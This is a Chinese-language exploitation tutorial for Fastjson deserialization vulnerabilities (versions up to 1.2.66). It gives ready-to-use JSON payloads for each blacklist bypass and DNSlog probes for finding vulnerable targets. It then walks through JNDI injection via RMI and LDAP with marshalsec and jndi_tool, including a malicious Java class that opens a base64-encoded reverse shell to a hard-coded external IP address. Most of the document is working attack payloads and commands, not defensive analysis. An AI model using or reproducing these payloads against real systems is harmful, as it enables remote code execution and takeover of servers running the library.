一、Fastjson 简介
Fastjson 是阿里巴巴公司开源的一个高性能的 Java 库,专门用于处理 JSON 数据格式。它不仅能 够将 Java 对象序列化为 JSON 格式的字符串,还能将 JSON 字符串反序列化为 Java 对象。
二、历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
1.FastJson <= 1.2.24
Fastjson 版本 1.2.24 及之前的版本中存在一个特定的反序列化漏洞,该漏洞可以被利用来执行远 程代码。这个漏洞主要由于 Fastjson 在处理 JSON 对象时,自动匹配并调用 Java 对象的 法,如果 JSON 中包含了 Java 对象的 setter 方 setter 方法可以被调用的属性,攻击者可以利用这个特性来 触发恶意行为。
例如,攻击者可以构造一个包含特定类引用的 JSON 对象,该类具有可以执行系统命令的 setter 方 法。当 Fastjson 尝试反序列化这个 JSON 对象时,它将自动调用这些 setter 方法,从而可能执行攻 击者的代码。
Poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit", "autoCommit":true}
@type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。
2.FastJson <= 1.2.41
第一个 Fastjson 反序列化漏洞爆出后,阿里在1.2.25 版本设置了 autoTypeSupport 属性默认为false,并且增加了checkAutoType() 函数,通过黑白名单的方式来防御 Fastjson 反序列化漏 洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单,Fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下 EXP
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true}
3.FastJson <= 1.2.42
阿里在发现这个绕过漏洞之后做出了类名如果为 L 开头 ; 结尾的时候就先去掉 L 和;进行黑名单检验 的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组 L 和 ;,构造exp如 下,即双写 L 和 ;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
4.FastJson <= 1.2.47
在1.2.47版本及以下的情况下,loadClass 中默认 cache 为 true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl 这 个类,即可绕过黑名单
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}
5.FastJson <= 1.2.66
基于黑名单绕过, autoTypeSupport 属性为 true 才能使用,在 1.2.25版本之后autoTypeSupport 默认为 false
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
三、漏洞发现
1.json认识
json实例
{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
]
}
2.FastJson 寻找
Fastjson 的作用是用于对 JSON 格式的数据进行解析和打包,所以出现JSON格式的地方,就有可能使用了 Fastjson
3.FastJson 报错识别

4.FastJson 漏洞探测
原理: java.net.InetAddress 这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在
1)在线的DNSlog平台
http://dnslog.cn/

https://www.callback.red/

2)自建的DNSlog平台
DNSLog: DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。
3)漏洞发现 Payload
{
"@type":"java.net.Inet4Address",
"val":"任意字符.qydzoe.dnslog.cn"
}
测试时发现有时在解析 JSON 前会判断类型是否匹配,匹配失败则在解析前抛出异常,因此更改 payload 为如下:
{
"name":{
"@type":"java.net.InetAddress",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
使用在线DNSlog网站

使用bp自带的DNSlog

4)其他payload
{
"name":{
"@type":"Ljava.net.InetAddress;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
{
"name":{
"@type":"LLjava.net.InetAddress;;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
四、FastJson-1.2.47 反序列化漏洞
1.漏洞概述
2.影响版本
Fastjson < 1.2.48
3.漏洞检测
原理: java.net.InetAddress 这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在
{
"name":{
"@type":"java.net.InetAddress",
"val":"i1q73g.dnslog.cn"
}
}

4.JNDI 注入 + RMI
JNDI
它是Java的一个应用程序编程接口,提供了命名和目录功能。就像电话簿一样,我们可以通过名字来查找对象。
可以访问以下命名/目录服务:
- RMI (JAVA 远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
RMI
RMI 是 Java 远程方法调用,是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。 它使客户机上运行的程序可以调用远程服务器上的对象。
1)marshalsec
(1)借助 marshalsec 项目启动一个 RMI 服务器,监听一个端口,并指定加载远程类 Exploit.class
maven 打包项目成 jar 包:
mvn clean package -DskipTests
(2)编写恶意代码
注意:
- Java 保存的文件名必须与类名一致;
- 如果文件中只有一个类,文件名必须与类名一致;
- 一个 Java 文件中只能有一个 public 类;
- 如果文件中不止一个类,文件名必须与 public 类名一致;
- 如果文件中不止一个类,而且没有 public 类,文件名可与任一类名一致。
Touch.java
// javac Touch.java
import java.lang.Runtime;
import java.lang.Process;
public class Touch {
public Touch(){
try{
Runtime.getRuntime().exec("/bin/touch /tmp/mingy");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Touch e = new Touch();
}
}
(3)编译恶意代码
在 jdk8 下编译:
javac Touch.java
在当前目录会生成一个 Touch.class 的字节码文件
(4)python 启动 http 服务,托管编译的恶意类文件

(5)启动 RMI 服务,加载指定恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://120.79.150.243:8000/#Touch" 9999
(6)发送 EXP
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://120.79.150.243:9999/Touch",
"autoCommit":true
}
}
(7)漏洞利用反弹 shell
Exploit.java
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
在 jdk8 下编译:
javac Exploit.java
在当前目录会生成一个 Exploit.class 的字节码文件
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://120.79.150.243:9999/Exploit",
"autoCommit":true
}
}
- 开启http服务

- 记得改exp的名字

- 开启监听

(8)总结:
- 编写字节马
- 启动 http 服务,托管编译的恶意类文件
- 开启RMI服务加载指定类
- 发送exp请求给目标靶机,实现远程类加载
==其中访问文件地址,直接触发下载==,即jndi服务实现字节码下载
2)jndi_tool
可以不用单独启动marshalsec服务,可减少手动操作
(1)利用工具启动 RMI server
java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "要执行的命令"
java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "ping gxcm51.dnslog.cn"
注意: 如果是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在 bash 环境下 才能用。而在这里,我们使用的是 java 为我们提供的命令执行环境,不支持管道符、输入输出重定 向等。因此需要 base64 编码一下。
java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
(2)复制生成的 payload
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://120.79.150.243:9999/Object","autoCommit":true}}
(3)发送到目标主机


(4)利用JNDI注入加载远程 RMI server 上的字节码实现反弹shell



5.JNDI 注入 + LDAP
LDAP 是基于 X.500 标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
java -cp jndi_tool.jar jndi.HLDAPServer 120.79.150.243 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=
}|{base64,-d}|{bash,-i}"
6.利用脚本
1)jndi_marshalsec
- 启动脚本
python jndi_marshalsec.py

-
开启监听
-
发送payload
python fastjson_poc_send.py

- 获得shell

2)FastJsonVulnExp
(1)生成反弹 shell 的 payload
python fastjson_tool.py

(2)监听端口
(3)发送payload
python fastjson_poc_send.py

(4)获取shell
